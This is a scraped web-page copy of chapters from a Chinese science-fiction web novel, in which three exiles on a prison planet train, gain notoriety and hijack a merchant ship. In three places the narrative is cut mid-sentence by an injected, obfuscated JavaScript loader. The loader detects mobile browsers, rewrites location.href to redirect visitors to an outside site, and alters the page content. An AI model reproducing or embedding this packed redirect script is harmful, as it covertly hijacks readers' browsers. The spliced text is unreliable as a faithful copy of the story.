防御系统大约三年迭代一次,若等到几次迭代之后,她与籍允的经验都不再有用,出去的可能性就更小。 栗胤咬咬牙:“好,我们为你创造机会。” “关键是如何蒙蔽所有人的视线。”籍允沉吟,“除了肉眼外,还要破坏他们的热成像系统,和飞船上的自动索敌功能。” 栗胤微微一笑,将两个小小的机械圆球从操作台角落推到桌子中央。 白纶有印象,有好些日子,她一直在捣鼓这两个圆球。但他不清楚这两个球的具体用处。 籍允显然是知道它们的作用的。他露出惊讶的表情,拿过机械圆球确认了一番。 “性能完整吗?” “保证在预估范围。” “距离呢?” “半径一公里。”栗胤说,“足够将商船笼罩在内。” 籍允沉吟:“介时,守卫的肉眼和机械眼都会失灵。” “飞船的自动系统也会失效。”栗胤望向他,“我们需要手动操控飞船起飞。” “没问题。”籍允说,“我可以驾驶。” “你也会驾驶?”栗胤惊喜,“那驾驶席就交给你了。” 黑蛇没有注意女孩话中的“也”,他入神地注视着手中的机械圆球,双眸在镜片后泛起亮光,“有这两个的话,成功率可以达到八成。” “十成。”栗胤说。 她的声音平静笃定,嘴角微微扬着,眼中的神采是自信的明亮。 劫船只有两种可能,成功,或者失败。一旦夺船,与他们而言就是百分百的成功。 她并不考虑失败的选项。 白纶与籍允看着她。在不算明亮的房间内,她本身却如同一道光源,绽放着让人移不开视线的光彩。 目标就定在下一艘降落在荒狱星的商船。 “现在,硬件储备已经差不多了。”栗胤清点了他们的防具、武器和干扰设备,摸摸下巴,“在等飞船降落的日子里,我们只剩一件事要做。” “——提升我们自身。” 她的话音未落,瞳孔化为金色,【束缚】的能力将银狼锢在原地动弹不得。 白纶还没来得及惊讶,就看到栗胤弯起眼睛将他扑到在地上,不安分的双手将他耳朵和尾巴上的毛都揉得乱蓬蓬的。 “栗、栗胤?!”少年的声音变了调,呼吸也全乱了,热度泛上耳尖,手足无措地看着近在咫尺的面庞。 “警惕意识不够啊,白纶。”栗胤笑嘻嘻道。 籍允无奈地摇了摇头,转身想回自己的房间休息,脚步蓦地一顿。 低头一瞥,那条黑亮的尾巴尖不知道什么时候被女孩绕在了指尖。 “籍允,你也有份。” “有破绽!” 白纶捕捉到栗胤的分神,一转攻势翻身将栗胤压在身下。 女孩笑着回望他,眼中带着赞许。白纶的耳朵却愈发烫了。 他不是第一次将栗胤压在身下,却是第一次认识到对方身体的娇小和柔软。 他胡乱想着:是不是压得太用力了?会不会弄疼她? 胡思乱想间,一条冰凉有力的尾巴迅速绕上他的脖子,狠狠地将他甩到了一边。 “没事吧?”籍允在栗胤身边半蹲下,向她伸出手。 白纶被抡得头晕眼花,爬起身看到的就是这个画面,顿时什么都顾不得想,露出獠牙就向籍允扑过去。 后者不甘示弱,灵活地与他周旋开来。 分明是战斗的挑起者,栗胤却得了闲,成了观战者。 她好整以暇欣赏了会儿二人的对战,拿起笔做起了每个人的体质增强计划书。 白纶灵活强韧,但都是自己钻研出来的野路子,可以给他默写一份军事化的锻炼模版,让他查漏补缺。 籍允狡猾且难以捉摸,但耐力不足,需要加强体能方面的训练。 作为智人,她是三个人里力气最小的那个,光靠身体的力量,随便哪个亚人都能轻易将她放倒。 但她也有她独特的优势——精神力。 在其他身体素质都不如亚人的情况下,对她来说,最重要的就是加强精神力方面的训练。 当然,适当的体能训练也要进行。 好不容易把人定住,没有力气扑倒对方怎么能行? 体质提升训练有条不紊地进行着。 面对籍允时白纶自然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242896|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留余力,对上栗胤的时候,他从一开始的不自然,到后面也能全力出手了。 栗胤和他们的近战,一开始总是她败多胜少,但她能定住他们的时间每一次都在变长。 她能感受到自己脑海深处,可供她支配的精神力随着一次次的透支与恢复,变得越来越庞大。 控制的时间从短短几秒,一直到了能同时将两人定身一整个系统时。 面对无法动弹的亚人男性,栗胤嘴角勾起意味深长的弧度。 她一手捧起银狼毛绒绒软乎乎的尾巴,一手勾住黑蛇光滑冰凉的尾尖,撸了个爽。 银狼嘴上抗拒却毫不反抗,黑蛇纵容又配合,这两条姿色各异的尾巴对她来说,简直是最好的充电站。 她哼着歌红光满面地离开,留下红晕蔓到耳尖的银狼和气息不稳的黑蛇。 籍允平复了好一会儿才转过头问白纶:“她技术一开始就这么好吗?” 白纶闻言,一张脸忽然沉下来,迈着略有些虚浮的步子走开了。 籍允推正了脸上的眼镜,看着白纶的背影笑了。 在遇到他之前就这么好了啊。 那条年轻的银狼肯定也知道,这意味着,在他之前,她还有过无数练手把玩的对象。 不愧是天鹰系最耀眼的明珠呢。 做到与两个亚人近战平手,花了栗胤整整五个系统月。 这五个月来,仅仅只有一艘倾倒垃圾的飞船远远地在荒狱星上空短暂驻足了一会儿,时间短得还不够小黑破解飞船的卫星天线,接收外界的信号。 那些废旧机械化作能致命的陨石,在星球表面砸出深浅不一的坑。 等这场垃圾雨停止后,躲避在庇护所中的人蜂拥而出,试图第一时间将最好的零件据为己有。 为着别人不要的垃圾,在这颗落后荒芜的星球上,却是一场又一场腥风血雨。 站在有一定距离的另一座山头遥望着底下混乱的景象,栗胤看到身边的二人情绪不是很高,打了个响指对他们宣布道:“提升计划是时候进入下一个阶段了。” 白纶的注意力从天空回到栗胤身上,摇了摇尾巴:“下一个阶段是什么?” 他们穿着统一的黑色长袍,兜帽掩住了大半张脸,脸上覆着栗胤特制改装的防御性金属口罩,站在黄昏的高处俯视大地。“白日”半球中的影影绰绰,“黑夜”半球里的荧荧辉光,都在暗地里注视着过于高调的他们。 这里是荒狱星,宇宙边际流放囚犯之地。 这里的人,穷凶恶极,狡诈诡谲,身负累累罪行,手段计谋层出不穷。 她无须对这些人抱有仁慈,也无须担心对方因顾及她而对她放水。 如若在对战中掉以轻心,丢掉的便是自己的性命。 这里是天然的训练场。 栗胤将兜帽往上抬了些,露出了那双明亮的金色双眸。 她直视那些暗处的犯人。 在刚来到这颗星球时,她孤身一人,手无寸铁,面对对她图谋不轨的犯人们只能选择隐忍。 如今她有了与复数的亚人一战的实力,身边也有了可靠的同伴。 一个在身旁与她一同杀入敌阵,一个在后方进行精密的辅佐支援。 一切都简单了起来。 她开口道: “我要让这颗星球上的人看到我们后,没人再敢对我们动手。” 10. 第十章 暗影 先是集市东面的地盘传出流言,荒狱星上出现了黑袍三人组。接着,集市的西面、北面、南面都逐渐有人看到了黑袍三人的身影。 他们见人就动手,不为夺财,只想着与人一分高下。 不会刻意取人性命,但也不会留手。 其中两个浑身被黑袍包裹,看不清身材种族,第三个人的黑袍下方,伸出一条长而黑的蛇尾,是佘鳞族。 佘鳞族通常只在后方辅佐,看似温良,但若想要将他作为突破口,只会被那条灵活的蛇尾狠狠打飞。 侥幸在与他们的战斗中存活下来的,对别人说起三人组,就只有一个字:“逃!” 有不信邪,自认为自己很强的,找到他们进行挑战,他们也欣然应邀。 有好几次,三人组也受了伤,即将败阵下来。 不知怎么的,对手眼前好像闪过一道金光,接着就动弹不得,只能眼睁睁任黑袍人将他们打倒。 慢慢地,就有了黑袍不败的神话。 因那身黑袍给人的震慑力太强,荒狱星的人给他们起了个代号,叫做“荒狱暗影”。 被暗影盯上的人,非死则伤。 集市里讨论最热烈的话题,已经从原本对改装机械的讨价还价,转为了一致的荒狱暗影。 “暗影力量那么强,肯定有一个是趵丰族!” “趵丰族能给你撕出那么大的伤口来?明明是炻餮族!” “但他们的体型怎么看也没有炻餮族那么壮硕啊?听说其中一个很矮,像是女性。” “你他妈撞见过他们?还知道他们的体型。我还说我和他们干过一架毫发无伤呢!” “嗤,骗骗哥们得了,别把自己也骗进去。” “……” “我听说,暗影三个人里的其中一个,有金色的眼睛!” “金色怎么了,斐戎族的黑豹也有金色眼睛。” “不不,斐戎族的眼睛是竖瞳,但那个金色的眼睛,怎么看都像是普通智人的。” “你他妈在做梦吧,荒狱星里会有智人?” “哈哈哈,我听到了什么笑话,金色眼睛的智人,你是想说有王族被流放到这颗星球了吗?” “滚,爱信不信!” “你说,暗影他们这么高调找人打架,到底图什么?” “我哪知道啊,总不会是在找人练手吧?” “……操,还真有可能。” 荒狱星的人隐隐有一种预感。 ——这颗小小的星球,已经关不住暗影了。 被整颗星球上的人忌惮的三人正击退又一波敌人,走在回庇护所的路上。 籍允忽然道:“刚才那两个,堂堂正正向我们挑战,实力也并不差。” “怎么?”栗胤看向他。 籍允推了下眼镜:“我以为,你会邀请他们加入你的计划。” 在栗胤回应前,白纶的步子先顿了一下。 他掩住脸上的表情,藏在兜帽下的耳朵却往栗胤的方向扭去。 还要……增加队友吗? 明明是增进队伍力量的好事,但心里总感觉高兴不起来。 光是多了个籍允,他就莫名不爽好久了。 在籍允加入前,栗胤有什么都只和他一个人商量的…… “目前来看,人够了。”栗胤说。 白纶的尾巴晃了起来。 籍允挑眉。 “队伍并不是人越多越好,尤其是越狱的队伍。人越多,出纰漏和泄密的几率也越高。我不想错过任何一艘船降落的机会。”她对籍允说,“人心最难看清,尤其在这颗行星上。与其花时间在与囚犯建立信任,不如用来提高现有的实力。” 白纶从鼻腔里哼了一声。 栗胤眼中含笑,隔着兜帽摸了把白纶的脑袋:“还有就是,我觉得我们实力够了。” 獒尼族银狼虽比她年轻,却比她高了半个头。她才踮起脚,对方就配合地低下头,温顺地让她揉他的头发。 籍允落后一步,看两人在前头吵闹。 “我觉得我们两个人也够了。”白纶小声嘀咕。 “两个人还是有点吃力呢。”栗胤说,“籍允的厉害你不是也见识到了吗。” 于是白纶又“哼”了一下。 籍允忽然就懂了白纶的不爽。 栗胤她……非常地信任自己。 他垂下眼,嘴角有淡淡的弧度。 被流放的公主殿下,也还有着天真的一面呢。 忽然,银狼的耳朵动了动,抬头望向灰蒙蒙的天空。 “有船来了。”他说。 这次的飞船和前阵子那艘垃圾倾倒船不一样。 最直观的,是天空裂开的一道缝隙。 那缝隙起初很小,接着越来越大,如同虚假的光幕被病毒入侵后熄灭了灯光,露出黑色的底屏。 那黑色的底屏,便是荒狱星所在的大气改造装置外,没有恒星光芒的星系宇宙。 这道缝隙是舰艇在宇宙中进行跃迁,对行星带来的气流紊乱现象。对荒狱星的人而言,看到这样的黑色裂缝,就意味着有飞船要降落了。 他们停下手中在做的事,纷纷走出庇护所和矿坑,朝天空望去。 裂缝中渐渐出现了飞船的全貌,椭圆的船身上带着醒目的货运标志。 是一艘商船。 荒狱星的人连忙回庇护所带上这段时间积攒的矿物,往飞船降落的空地聚去。 等采购飞船在空地上停稳,先出来一圈警卫将飞船团团护住,接着走下来的才是拿着交易品的工作人员。在警戒圈外,已经挤满了准备交易的人群。 · 皮特曼是这艘商船的船长,来荒狱星采购能量晶矿好几年了,这里的晶矿质量又好价格又便宜,只要给星球上的人施舍几管营养液,对方就会感激涕零地献上所有费劲血汗挖掘的矿物。 觉得他给得少了,反抗也没用,价格都是他说了算。 在这颗星球上的,不过是一群没有人权的囚犯罢了。 他还会给他们送过期廉价的营养液让他们活下去,他觉得自己真是天大的好人。 今天也如以往一样,顺利和星球上的囚犯们进行着矿物的交易。 他坐在飞船的操作舱,居高临下地望着商船前聚集的人群,在心里估算这一趟的利润。 人数比上次来的时候要少一些,不知道是不是来了难搞的犯人捣乱,导致他们采矿的时间减少。 啧,大约会折他百分之五的收益。 他通过耳机指使手下:“矿石的收购价格再压低三个点。” 底下隐隐传来抗议声,又被警卫压下。 小事。他就知道这群犯人闹不起来。 看来还是他之前给的太多了。 飞一趟荒狱星,远是远了点,能赚到的利润却是其他地方的几十倍。 朋友告诫他小心星球上的囚犯,最难缠的犯人才会被送到这颗星球。他反倒觉得,这些人好对付得很。 再狠厉的角色,被关在这颗没有信号、与世隔绝的星球越久, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242897|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性格就会被这颗星球磨灭得越惨。 除了挖矿和打架,再也想不起别的。 会渐渐地失去希望,只为一口吃的,便能送出自己的尊严。 不过如此。 皮特曼放松地在驾驶椅上躺下,准备小憩一会儿。 飞船下面的不满和抗议却越来越响,甚至动起手来。 他往下看了眼,动手的是三个穿黑袍的。 其中一个身材纤瘦娇小,应该是个女性。 女性构不成战力,他想,所以真正闹起来的只有两个人。 两个人,构不成威胁。 他的商船警卫可有整整二十人,且全副武装,配备的都是从善战的禺泯星系进口的二级粒子枪。更逞论他这艘搭载着一流防御系统的飞船,随时能够为这些警卫提供火力支援。 只要有脑子的,都不会选择和他的商船对着干。 笑话,不和他交易,他们等另一艘商船来荒狱星,还不知道要等多久呢。 他好整以暇地给自己倒了杯酒,把飞船底下的争执当成消遣看待。 三人的身手比他想的要强一些,居然和面前的警卫打了平手。他们身上一定有防御性装备,才能抵挡住穿了力量增强甲的警卫的攻击。 可是,在这个垃圾场一样的荒狱星,怎么可能有这样的装备? 皮特曼坐直身体,看着另外的警卫被躁动吸引注意,围过去控制场面。 飞船旁的守卫圈出现了短暂的缺口。 不太对劲,皮特曼想。 像是要应证他的想法,从娇小的黑袍脚下滚过来一个不起眼的机械小球。 它像是在推搡吵闹中不小心被挤到地上的,机身闪烁两下,一张无形的、半径一公里的屏蔽网将飞船笼罩。 因它无声无害,所有人都没能在第一时间意识到发生了什么。 接着,另一颗机械小球也落到了地上。 霎时,浓烈的烟雾自脚底炸裂四散! “是烟雾弹!”警卫队长捂住口鼻,按着耳机在警卫队频道指挥道,“开启热成像!” 耳机里一片寂静。 他又重复了一遍,同时掏出热成像仪戴上,视野里却一片漆黑。 他这才意识到,他们的机械设备失灵了! 第一颗机械小球,是用来切断他们的机械眼的! 没有热成像辅助,黑袍三人彻底隐入浓雾之中。 警卫队长架起枪,对准黑袍者方才在的位置刚要射击,倏然想到:他们真的还会在原来的位置吗? 身边不断有身影蹿过搅起的气流,却无法看清人影。 他的子弹射向的位置,会不会是他的队友? 冷汗自他后背流下。 此时,栗胤三人已经来到了商船的门禁边上。 不出意外,因他们造成的骚动,飞船已经从内部上锁,禁止任何人进出。 没有时间浪费,籍允打开掌上智脑,连接上门边的控制面板,破解起舱门的权限。 黑色的小蛇从掌上智脑游走到飞船控制面板的屏幕上,全力辅佐籍允进行破解。 她扔出的第一颗机械球并不只是切断警卫门的机械眼。 它切断的是所有机械设备的连接,张开一张半径一公里的球形屏蔽网。 机械屏蔽球的续航时间是十五分钟,烟雾球的烟雾维持时间更短,五分钟后,警卫们的视野就会逐渐恢复。 他们要在五分钟内突破飞船门禁进入舱内,在十五分钟内取得飞船的制动权,将飞船起飞! 11. 第十一章 相信 “护住交易品,”不远处,传来警卫队长的高声喝令,“守住舱门!” 电子器材失效,他目前所能做,便只有通过提高声音指挥团队。 周围四处一片嘈杂,他的声音透过浓烟,只有寥寥数个队友接收到了。更多的警员自顾不暇。 他们跟着皮特曼去过几十颗行星,荒狱星也来过数次,却是第一次遇到如此混乱的场面。 尤其,商船边上还围满了等待交易的人。 在他们手持武器、视野清晰时,这些人不过是手无寸铁的矿工。 但在烟雾弥漫、辅助器械都失效的时候,警员们突然意识到,他们面对的,是一群穷凶极恶的囚犯! 一旦出现破绽便会抓住一切机会为自己夺取利益,撕下温顺的伪装,露出冰冷的獠牙! 交易品处的混战为栗胤他们分散了一部分的警力,但仍有脚步声在迅速往他们的方向靠近。 栗胤握紧手中粒子枪的手柄,感受着身后斐戎族的体温。 她与白纶后背相靠守住两边,护住舱门边上专心破解的籍允。 身后少年的脊背紧绷。 这是场无法后退的防守战。 烟雾球的能源耗尽,浓密的白雾开始散开,渐渐能看得清眼前的人影了。 栗胤看到了正在向舱门靠近的警员。 整齐统一的制服,坚毅的面容。 她要扣下扳机的手忽然就僵了一下。 这些人……和荒狱星上的人是不一样的。 他们忠诚耿直,严格执行队长的指令。 他们并无罪孽在身。 她也曾有过护卫她的一队卫兵。为首的是个趵丰族,身材高大,性格古板正直,她还调戏过他几句。卫兵队长站得笔直,没有因为她的话而产生半分动摇,等她走到他身后,却看到他耳尖是红的。 她是被他们护在身后的人。 而现在,她却要直面这群人的枪口。 愣神间,与她抵背相守的少年毫不犹豫地举起粒子枪,直指对方胸口扣下扳机! “栗胤?”察觉到她情绪不对,他叫了声她的名字。 他没有迟疑,因他的世界没有善恶之分。 他自出生,直面的就是这个被整个虹河系流放的,纯粹的恶。 要是离开了这颗星球,得好好教教白纶才行。栗胤想。 要是离开这颗星球。 她垂下的眼眸骤然抬起,眼底有金线闪过。 她抬起手臂,举枪的手再无半分犹疑。 对不起了。她在心里对那些警员说。 手中的粒子束枪口发出耀眼的光芒! 警员应声倒地。 白纶的耳朵动了动。 他听见栗胤虽然开了枪,也将靠拢的警员们击倒,倒地的人却仍有气息。 她没有取他们性命。 眼下的情景让白纶无暇思考栗胤这样做的原因,但既然栗胤留了对方的性命,他扣下扳机时,也避开了警员们的致命处。 栗胤做的防护屏障替他们挡下了射向他们的粒子能量弹。但随着射击的愈发密集,防护屏障上逐渐出现了裂缝。 “白纶,分散火力!”她轻声对身后下令。 银狼喉咙中发出一声低吼,单腿蹬地,蹿至警员身后,以灵活的身姿频频干扰对方的射击方向。 舰艇的舱门边,栗胤额角沁出汗水,挡下袭来的攻击。 她不能退,在她身后,是全神贯注破解飞船权限的籍允。 籍允的手指在键盘上飞快地敲击着。 留给他的时间是三分钟。 这艘商船是五年前的型号,他第一眼看到它时,是很有信心在三分钟内夺取它的权限的。然而,在破解的过程中,他发现,它的船长在两个月前更新了它的防御系统。 而他被流放在荒狱星,已经三年了。 曾经没有被任何系统困住过的大盗,却在一艘旧型号商船更新的防盗系统面前碰了壁。 这一刻,他比以前更清晰地,与栗胤想要尽早离开这颗几乎与世隔绝荒星的急切心情产生了共鸣。 一柄再锋利的剑在尘封的时光下,也会生锈钝化。 他被消息隔绝的三年,宇宙的另一端,却是亿万人类智慧集合体的高速发展。 他要在三分钟内,追赶上世界另一边人类三年的智慧。 身后是栗胤急促的喘息。 她履行着她的诺言,将所有的攻击替他挡下,替他拦出一方不受干扰的安全空间。在荒狱星内部几乎能拦下一切攻击的防护屏障,在密集的二级粒子枪火力下只能支撑几秒钟就必须匆匆换上下一张,防具以惊人的速度被消耗,此次夺船,他们带上了几乎所有的家底,但道具总有被用完的那一刻。 他答应过她在三分钟内夺取权限,眼看着周围的烟雾逐渐散去,他很清楚自己耗了太久的时间,他的队友却并未出声质疑和催促他。 她相信他能够做到。 名为“信赖”的情感,对籍允来说是陌生的。 信赖到底是什么? 年轻的大盗也曾想过这个问题。 鲜少有人知道,星际大盗曾有两个人。 另一个人的那双手将籍允带出密不透风的黑暗,又将他推入深不见底的悬崖。 · 籍允幼时的住所,在以繁华著称的天鹰星系也称得上富沃。他自小就有管家教导服侍,也将老师要求的每一点都做到了优秀。 但他做的一切,在母亲眼里却永远不够。 那条穿得雍容华贵的黑色母蛇总是坐在能望到花园门口的椅子上,一遍又一遍地对他说:“你再优秀一些,父亲就一定会来这个家,一定会承认你的。” 那是母亲对父亲的信任吗? 不,那是她的愚蠢罢了。 本就是一夜荒诞生下的孩子,女人却一颗心挂在了那个男人身上。 因她生了他的孩子,男人送给她一套房子,而她却不知满足地想要更多。 认不清自己的身份和地位,男人对她感到厌烦。 小籍允将黑进去的监控画面投到母亲的终端上,让她看到那个男人和另一个女人在更豪华别墅的床上忘我地纠缠。 他想让母亲清醒,而他得到的,是母亲毫不留情甩在他脸上的巴掌。 “别给我看这些,闹得心烦。”母亲说,“他会回来的。” 小籍允擦去嘴角的殷红,镜片后的红瞳中浮起嘲弄的笑意。 自此,他不再相信自己的母亲。 没过多久,那个女人就病倒了。 直到她病逝,她口中的男人都没过来看她一眼。 母亲去世后,她的哥哥,也就是籍允的舅舅接走了他的抚养权,带着他们一家住进了这幢别墅。 他们一家清贫,全靠飞上枝头变凤凰的妹妹,才触摸到这样的世家边缘。 舅舅一家对籍允很好,甚至接下了保姆的活,做起了他的一日三餐。 他们一家口味偏重,籍允不太习惯,但因为是保姆之外的人亲手做给他吃的,他也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242898|197817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就强迫自己吃完了。 这么过了一个系统年的某天,他眼前一黑失去了意识。 再次醒来,他见到了那个以往只在电视和监控画面中才见到的男人。 他生理上的父亲。 天鹰星系的首富,名下数不清的财产,无数人对他趋之若鹜,想见他一面比见皇帝还要困难。 “和那个女人一样愚蠢。”男人这样评价他。 他翻看自己的诊断书,发现自己体内有大量的毒素,是经由饮食逐渐累积起来的。 他的舅舅表面对他关怀备至,实则在他的料理中参杂毒素,想要除掉他,独占那幢奢华的别墅。 发现他倒下的管家,是男人留在这幢别墅里的眼睛。 男人说:“这般天真,永远别想做我的儿子。” 籍允看着男人与自己如出一辙的红瞳,哂道:“我没有父亲。” 男人点点头,离开了病房。 “那么,这就是我们最后一次见面。” 自此,他不再相信自己的亲人。 他也没有亲人了。 失去了来自男人的经济支持,他从单人病房搬到了双人间。 那个明朔族的男孩就是在这个时候进入他的世界。 他为了打发时间在掌上智脑破解医院的防御系统,身边突然探过来一个毛绒绒的脑袋,一对长长的白色耳朵感兴趣地高高竖起。同样是红色的眼睛,他的瞳孔细长危险,对方的瞳孔却圆滑明亮,看起来十分无害。 白兔基因谱系的亚人。 真罕见,居然有主动往黑蛇身旁凑的明朔族。籍允想。 “你好厉害啊。”白兔说,“有这样的技术,你怎么不去做劫富济贫的怪盗?我给你打下手!” 闲着也是闲着,籍允答应了。 他们选定的第一个对象,就是天鹰星系的首富。 破解富豪别墅的防御警报系统比籍允想象的还要容易得多。 他这才意识到,幼时以自己住的那幢别墅练手的防御系统,有多么先进和强悍。 攻克了天鹰系首富,他们转而去了科技更为发达的禺泯系,惊险地成功了几票,继而又漂流至下一个星系。 虹河系中便响起了星际大盗的名号。 浩瀚的天河宇宙,因有兔子在身旁,倒也没有那么无聊。 他对钱财并无太大的兴趣,便将财务都交由兔子保管。 兔子视财如命,他曾好奇问过:你究竟要攒多少财富? 那对圆润的红瞳内划过一道流光,对方顿了一下,笑嘻嘻地回答道:我想买下一颗繁华星系的无主星球,让里面的所有生命都为了我而活着。 明明是兔子,却有着豺狼的野心,在对方舌若灿花的劝诱下,他屡屡得手,两人一同看着代表财富的数字一路增长,直到达到兔子所说的那个目标。 冥冥之中,他似有所感。 在最后一个入侵富豪宝库的撤退途中,他驾驶着星际便携接驳艇,沿着既定的逃亡路线回到原本他的舰艇停留的地方,却发现那里空空如也。 兔子带着他们所有的一切,消失了。 宇宙辽阔,繁星闪烁,入目可及的天际间,只余他孤身一人。 籍允仿佛再一次听到了男人那一声“愚蠢”。 怎么可能有愿意和黑蛇在一起的兔子。 他垂下眼睑,随手将刚盗来的硕大钻石朝驾驶座后方扔去。 镜片遮住了他的双眼,再抬起时,那对红瞳中一片冰冷带哂,再也不相信任何人。 12. 第十二章 启航 籍允捕捉到舱门边的控制面板发出了轻微的“嘀嗒”声。 成功了! 这艘舰艇的防御系统,自此任凭他的摆布。 他眼中划过欣喜,正欲开口,却听到身后传来一声压抑的闷哼。 他转过身,看到女孩的背影。 有一颗能量弹正透过护盾的缝隙,径直击在她的身上。 她牢牢举着满是裂缝的护盾,因密集的能量弹冲击而踉跄颤抖,却始终不曾躲过任何一颗子弹。 因她身后有他。 她承诺过会让他不受干扰地破解防御系统,就一步都不会后退。 她说过,籍允,你可以相信我。 “栗胤!”籍允不由喊出她的名字。 由于比计划耗费了更久的时间,烟雾散去了一些,他清晰地看到近在咫尺挡在他身前的人。 智人女孩回过头看他,那张脸上满是汗水,短发湿漉漉地化成绺状,还有暗红的液体透过她的黑袍滴落在地。 那双金眸却前所未有地明亮。 “你好了?”她笑起来,“该进行下一步了!” 没有对他耗时过久的指责,只有如释重负的喜悦。 像是在说,“我知道你一定做得到。” 她是那么相信他。 分明是十万火急的情况,在她的笑容中,籍允的心跳忽然就漏了一拍。 栗胤将双指放入口中,吹响哨声。在警卫群中游走的银狼耳朵一动,不再对他们进行骚扰,飞快地绕过人群往舱门接近。 在吹响口哨时,栗胤已经和籍允一道蹿入舰艇,并拍下了关门的控制按钮。 随着白纶跃入舱门,那扇门紧紧合上,舰艇的防御系统开启,将所有警力拦在了门外。 三人争分夺秒,一齐往驾驶舱冲去! 皮特曼正在发泄般地敲打驾驶舱的操作面板。 在被浓烟包裹时,他意识到不对,当机立断决定关上舱门起飞。 至于那些下了船的警卫和下属们,他才不管他们的死活。他出钱雇佣他们,就是为了让他们替他卖命的,那么他们在下面帮他缠住那些可怕的囚犯,也是理所应当的事。 但他按下按键,却发现飞船的操作面板失灵了! 要想起飞,唯有手动操作。 他哪里会手动驾驶舰艇?他所有的心思都放在了如何压榨更多的金钱上,重金改造的飞船智能驾驶系统让他无需掌握专业驾驶技能就能游走星际,投机倒把挣更多的钱。遇到什么应急情况,也有下属替他解决。 然而此刻的舰艇上只剩他一人。 他汗如雨下,慌神地按下入目可及的所有按钮,舰艇依旧没有一点反应。 在他焦急地想让飞船起飞的时候,栗胤三人已经来到了驾驶舱门口。 皮特曼太自负,认为没有人能够突破警卫圈和门禁权限进入飞船内部,所以整艘船内竟没有留任何守卫。 他终于发现有人入侵了他的飞船,慌张地抓起手边的二级粒子枪要朝他们射击,视线转向他们的那一瞬间,他忽然发现自己动弹不得。 这是……控制系的精神力! 亚人无法操控如此精纯的精神力,甚至连寻常智人都无法做到。 唯有王族。 难以置信的想法笼罩了他全身。 这颗星球上,什么时候多了一个王族的智人?! 白纶走过去夺走了皮特曼手中的枪,冷哼一声将他踹到在地,一只脚踩在对方的胸口,转头对栗胤问道:“他怎么处置?” 栗胤瞳孔的金色光芒淡去,和籍允一同走到操作台边上,一边调出手动驾驶模式一边开口:“等升空后,把他从舱门扔出去。” “交给我吧。”白纶说。 籍允掌舵,栗胤辅助操作仪器和监控飞船数据。在驾驶飞船方面,白纶完全帮不上忙,便负责起了守卫把风的任务。 处理原船长也是其中一环。 脚下的地面震动起来,这是飞船马上要起飞的预兆。 皮特曼被白纶举着脖子拎到舱门边,他面目扭曲地咒骂道:“我可是皮特曼!辛泽星系最大的星际商人!你知不知道自己惹到了什么人?” 在强烈的颠簸中,白纶依旧站得很稳。他用空着的那只手挖了挖耳朵,还有空对皮特曼哂道:“没听过。” “赶紧放下我,再跪着向我道歉,不然你别再想从我这里买到任何东西!” 飞船开始升空,离地一人高时,白纶打开一半舱门,将皮特曼往外推去。 终于意识到马上要面对什么,皮特曼变了脸色,哀求道:“别、别把我扔在这里,我可以把我的财产分你十分之一。” 白纶置若罔闻。 “一、……一半!” “七成,不能再多了!” 为了不让自己掉落,皮特曼的手指紧紧扒着舱门边缘,他的脸色惨白。 “现在掉下去,顶多摔伤。等飞船再飞高了,掉下去就只有死。”银狼淡淡开口。 “……全部,我的财产全部给你,我带你们去我星球的别墅!别推我,我不能留在这里!!”商人豁出去地大喊。 白纶歪了歪头,像是被他说动了,仔细端详了一番面前的人:“说起来,我好像对你这艘商船有印象。是不是每隔几年都会来一次荒狱星?” “对,对对!”皮特曼欣喜地点头,“我比你想象的还要有钱得多!” 年轻的银狼咧了咧嘴,“所有来荒狱星交易的商船中,就数你这艘最抠门。” 接着,不给皮特曼再有开口的机会,他抬起腿,毫不留情地将他踹出门外。 永远用高高在上的姿态俯瞰着荒狱星上囚犯的商人狼狈摔落在地,甚至没顾得上看自己哪里摔伤,从地上撑起身子,和身旁的人群一样,抬头看着空中那艘远去的商船。 他从没用这个角度看过自己的飞船,因而那艘船在他眼里也显得异常陌生。 直到视野中再也没有船的影子,他才低下酸痛的脖子,看到仍然有不少囚犯为自己带来的那批营养液争吵抢夺。 营养液? 荒狱星上,这是唯一的食物。 他吼道:“那是我的,谁也不准动那些营养液!” 没有人听他的话。 他想往那边赶去,却发现自己的一条腿摔断了。 “警卫,警卫呢?!”他大声嚷嚷。 那些警卫们回过神,互相看了一眼,加入了争抢营养液的行列。 “谁允许你们擅自带走这些营养液了?!”皮特曼坐在地上,气急败坏骂道,“一群下种人,忘了是谁赏你们一口饭吃了吗?” 有个站在皮特曼身边的人看了他一眼,嗤笑道:“还以为你是他们的主子?在这颗星球,每个人都只有一个身份,那就是囚犯。” 皮特曼变了脸色:“可是,我根本没有犯过任何罪啊!” 